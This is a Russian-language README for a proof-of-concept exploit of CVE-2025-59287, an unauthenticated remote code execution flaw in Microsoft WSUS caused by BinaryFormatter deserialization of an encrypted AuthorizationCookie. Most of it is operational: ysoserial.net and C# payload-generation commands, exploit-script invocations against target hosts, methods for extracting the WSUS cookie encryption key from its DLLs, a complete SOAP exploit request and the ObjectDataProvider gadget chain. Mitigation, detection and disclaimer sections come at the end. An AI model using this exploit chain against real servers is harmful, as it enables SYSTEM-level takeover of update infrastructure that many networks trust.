
Доказательство концепции эксплуатации для CVE-2025-59287 — критической неаутентифицированной RCE в WSUS через небезопасную десериализацию BinaryFormatter, позволяющей получить привилегии SYSTEM с помощью специально сформированных зашифрованных cookie.
CVE-2025-59287 — это критическая уязвимость удалённого выполнения кода (RCE) в службе обновления Windows Server Update Services (WSUS) от Microsoft. Уязвимость вызвана небезопасной десериализацией данных AuthorizationCookie через BinaryFormatter в методе EncryptionHelper.DecryptData().
Воздействие: Неаутентифицированные злоумышленники могут добиться удалённого выполнения кода с привилегиями SYSTEM, отправляя вредоносные зашифрованные cookie-файлы на конечную точку GetCookie().
Оценка CVSS: Критическая (9.8)
BinaryFormatter.Deserialize() вызывается для недоверенных входных данных без надлежащей проверки┌─────────────────┐
│ Злоумышленник │
│ │
│ 1. Генерация │
│ BinaryFmt │
│ Payload │
│ │
│ 2. Шифрование │
│ Payload │
│ │
│ 3. Отправка │
│ SOAP-запроса│
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS-сервер │
│ │
│ GetCookie() │
│ Endpoint │
│ │
│ DecryptData() │◄─── Уязвимый
│ │
│ BinaryFormatter│◄─── Небезопасная десериализация
│ Deserialize() │
│ │
│ Выполнение │◄─── RCE как SYSTEM
│ Payload │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Основной скрипт эксплойта
├── BinaryFormatterPayloadGenerator.cs # Генератор .NET payload (C#)
├── encrypt_payload.py # Вспомогательный скрипт шифрования WSUS
├── requirements.txt # Зависимости Python
└── README.md # Этот файл
pip install -r requirements.txt
ysoserial.net как альтернативуВариант A: Использование предоставленного генератора на C#
# Компиляция генератора
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Генерация payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Создаёт: payload_YYYYMMDDHHMMSS.bin
Вариант B: Использование ysoserial.net (рекомендуется)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
ВАЖНО: Ключ шифрования в encrypt_payload.py является заглушкой. Для реальной эксплуатации необходимо:
encrypt_payload.py реальным ключом# Использование файла payload (будет зашифрован на лету)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Использование предварительно зашифрованного cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# С HTTPS (порт 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Генерация, шифрование и эксплуатация за один раз
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
Ключ шифрования должен быть извлечён из бинарных файлов WSUS для реальной эксплуатации.
Найдите DLL-файлы WSUS:
%ProgramFiles%\Update Services\WebServices\bin\
Или веб-каталог IIS:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
Откройте в dnSpy (бесплатный декомпилятор .NET):
Microsoft.UpdateServices.WebServices.dllНайдите EncryptionHelper:
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() и EncryptData()Типичные шаблоны:
Используйте WinDbg или x64dbg:
EncryptionHelper.DecryptData()Используйте Process Monitor:
Используйте IDA Pro или Ghidra:
Используйте утилиту strings:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
После получения фактического ключа обновите encrypt_payload.py:
# Замените эту строку в encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # ЗАГЛУШКА
# На фактический ключ:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
Или передайте его через командную строку:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. Генерация BinaryFormatter Payload │
│ ObjectDataProvider → Process.Start() → Выполнение команды│
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Шифрование Payload │
│ AES-128-CBC с ключом шифрования WSUS │
│ Кодирование Base64 для передачи │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Создание SOAP-запроса │
│ Заголовок AuthorizationCookie содержит зашифрованный payload│
│ Метод GetCookie() в теле SOAP │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Отправка на конечную точку WSUS │
│ POST /ClientWebService/ClientWebService.asmx │
│ Порт 8530 (HTTP) или 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Обработка WSUS │
│ DecryptData() расшифровывает cookie │
│ BinaryFormatter.Deserialize() выполняет payload │
│ → RCE как SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
Эксплойт использует цепочку гаджетов ObjectDataProvider:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
Когда BinaryFormatter.Deserialize() обрабатывает это, он автоматически:
ObjectDataProviderMethodName («Start») на ObjectInstance (Process)MethodParameters (ProcessStartInfo)Примените обновление безопасности Microsoft: Немедленно установите патч
Временное решение: Заблокируйте порты, если WSUS не нужен
# Блокировка входящего трафика на портах WSUS
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
Сегментация сети: Ограничьте доступ к конечным точкам WSUS
Замена BinaryFormatter: Microsoft должна заменить его безопасной сериализацией
System.Text.Json или System.Xml.Serialization с проверкой типовПроверка входных данных: Добавьте комплексную проверку
Принцип минимальных привилегий: Запускайте службы WSUS с минимальными привилегиями
Проверьте журналы WSUS на наличие:
%ProgramFiles%\Update Services\LogFiles\
Ищите:
Отслеживайте:
/ClientWebService/ClientWebService.asmx⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот код эксплойта предоставлен только для авторизованного тестирования безопасности.
✅ Законное использование:
❌ Незаконное использование:
Несанкционированное использование этого эксплойта может привести к уголовному преследованию. Используйте ответственно и этично.
Помните: Всегда тестируйте в изолированных, контролируемых средах. Никогда не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.